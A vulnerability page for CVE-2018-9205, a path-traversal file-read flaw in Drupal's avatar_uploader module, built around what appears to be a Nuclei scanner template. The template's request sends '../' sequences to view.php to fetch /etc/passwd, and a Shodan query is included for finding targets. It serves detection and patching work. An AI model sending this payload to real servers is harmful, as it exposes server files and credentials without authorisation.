CVE-2018-9205: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion

2025-08-01 Drupal avatar_uploader PoC Public

Description

In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.

PoC

id: CVE-2018-9205

info:
  name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
  author: daffainfo
  severity: high
  description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and user data.
  remediation: Upgrade to the latest version of avatar_uploader.
  reference:
    - https://www.exploit-db.com/exploits/44501
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9205
    - https://www.drupal.org/project/avatar_uploader/issues/2957966
    - https://www.drupal.org/project/avatar_uploader
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-9205
    cwe-id: CWE-22
    epss-score: 0.55079
    epss-percentile: 0.98975
    cpe: cpe:2.3:a:drupal:avatar_uploader:7.x-1.0:beta8:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: avatar_uploader
    shodan-query: http.component:"drupal"
  tags: cve,cve2018,lfi,drupal,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022056f32e778900b2c5e6b1d484886a714b3f85660a0f3232ea7ea86812627b42f3022074c3c4fb2455d570f88e6710ce12224e9e4b66215aacf37c44ff4fed8a358674:922c64590222798bb761d5b6d8e72950

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